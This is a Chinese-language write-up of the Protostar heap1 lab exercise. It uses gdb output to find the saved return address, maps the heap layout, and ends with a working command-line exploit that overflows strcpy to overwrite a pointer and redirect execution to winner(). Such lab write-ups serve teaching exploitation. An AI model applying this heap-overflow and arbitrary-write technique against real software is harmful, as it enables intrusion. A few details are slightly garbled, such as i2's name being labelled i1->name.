1 | #include <stdlib.h> |
1 寻找RET地址
首先gdb heap1。并在ret处下断点。
1 | gdb$ disas main Dump of assembler code for function main: 0x080484b9 <main+0>: push %ebp 0x080484ba <main+1>: mov %esp,%ebp 0x080484bc <main+3>: and $0xfffffff0,%esp 0x080484bf <main+6>: sub $0x20,%esp 0x080484c2 <main+9>: movl $0x8,(%esp) 0x080484c9 <main+16>: call 0x80483bc <malloc@plt> 0x080484ce <main+21>: mov %eax,0x14(%esp) 0x080484d2 <main+25>: mov 0x14(%esp),%eax 0x080484d6 <main+29>: movl $0x1,(%eax) 0x080484dc <main+35>: movl $0x8,(%esp) 0x080484e3 <main+42>: call 0x80483bc <malloc@plt> 0x080484e8 <main+47>: mov %eax,%edx 0x080484ea <main+49>: mov 0x14(%esp),%eax 0x080484ee <main+53>: mov %edx,0x4(%eax) 0x080484f1 <main+56>: movl $0x8,(%esp) 0x080484f8 <main+63>: call 0x80483bc <malloc@plt> 0x080484fd <main+68>: mov %eax,0x18(%esp) 0x08048501 <main+72>: mov 0x18(%esp),%eax 0x08048505 <main+76>: movl $0x2,(%eax) 0x0804850b <main+82>: movl $0x8,(%esp) 0x08048512 <main+89>: call 0x80483bc <malloc@plt> 0x08048517 <main+94>: mov %eax,%edx 0x08048519 <main+96>: mov 0x18(%esp),%eax 0x0804851d <main+100>: mov %edx,0x4(%eax) 0x08048520 <main+103>: mov 0xc(%ebp),%eax 0x08048523 <main+106>: add $0x4,%eax 0x08048526 <main+109>: mov (%eax),%eax 0x08048528 <main+111>: mov %eax,%edx 0x0804852a <main+113>: mov 0x14(%esp),%eax 0x0804852e <main+117>: mov 0x4(%eax),%eax 0x08048531 <main+120>: mov %edx,0x4(%esp) 0x08048535 <main+124>: mov %eax,(%esp) 0x08048538 <main+127>: call 0x804838c <strcpy@plt> 0x0804853d <main+132>: mov 0xc(%ebp),%eax 0x08048540 <main+135>: add $0x8,%eax 0x08048543 <main+138>: mov (%eax),%eax 0x08048545 <main+140>: mov %eax,%edx 0x08048547 <main+142>: mov 0x18(%esp),%eax 0x0804854b <main+146>: mov 0x4(%eax),%eax 0x0804854e <main+149>: mov %edx,0x4(%esp) 0x08048552 <main+153>: mov %eax,(%esp) 0x08048555 <main+156>: call 0x804838c <strcpy@plt> 0x0804855a <main+161>: movl $0x804864b,(%esp) 0x08048561 <main+168>: call 0x80483cc <puts@plt> 0x08048566 <main+173>: leave 0x08048567 <main+174>: ret |
在ret处 下断点,运行heap1程序。
1 | gdb$ b *0x08048567 Breakpoint 1 at 0x8048567: file heap1/heap1.c, line 35. |
1 | gdb$ r AAAA BBBB and that's a wrap folks! --------------------------------------------------------------------------[regs] EAX: 0x00000019 EBX: 0xB7FD7FF4 ECX: 0xB7FD84C0 EDX: 0xB7FD9340 o d I t s Z a P c ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF818 ESP: 0xBFFFF79C EIP: 0x08048567 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B --------------------------------------------------------------------------[code] 0x8048567 <main+174>: ret Breakpoint 1, 0x08048567 in main (argc=0x80484b9, argv=0x3) at heap1/heap1.c:35 35 heap1/heap1.c: No such file or directory. in heap1/heap1.c gdb$ |
此时ESP寄存器中的值为0xBFFFF79C。到这一步我们获取到了ret存放的地址,如果可以修改该地址中存储的值就可以控制EIP了。
2 观察堆上数据的存放结构
在malloc调用处下断点
1 | gdb$ b *0x80484e8 Breakpoint 2 at 0x80484e3: file heap1/heap1.c, line 25. gdb$ r AAAAAAAA BBBBBBBB --------------------------------------------------------------------------[regs] EAX: 0x0804A018 EBX: 0xB7FD7FF4 ECX: 0xB7FD93A0 EDX: 0x0804A010 o d I t s Z a P c ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF798 ESP: 0xBFFFF770 EIP: 0x080484E8 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B 0x080484e8 25 in heap1/heap1.c gdb$ |
EAX=0x0804A008;i1 = malloc(sizeof(struct internet)); 所以i1=0x0804A008;
1 | gdb$ |
EAX=0x0804A018;i1->name = malloc(8); 所以i1->name =0x0804A018;
。。。
EAX=0x0804A028;i2 = malloc(sizeof(struct internet)); 所以i2=0x0804A028;
EAX=0x0804A038;i2->name = malloc(8); 所以i1->name =0x0804A038;
堆上的数据结构如下图所示。
3 溢出
1.由于堆中数据结构如上图所示,在执行
1 | strcpy(i1->name, argv[1]); |
时因为没有考虑缓冲区的长度,那么就可以覆盖到i2数据结构之中。修改i2->name的值。
2.因此i2->name是一个我们可控的地址。
1 | strcpy(i2->name, argv[2]); |
所以可以将argv[2]的值拷贝到任意地址的缓冲区之中。
3.ret的存放地址我们已经知道,所以我们只需要将ret的地址值改写成winner函数的地址即可。
1 | user@protostar:/tmp$ ./bin/heap1 $(python -c 'print "A"*20 + "\x8c\xf7\xff\xbf"') $(python -c 'print "\x94\x84\x04\x08"') |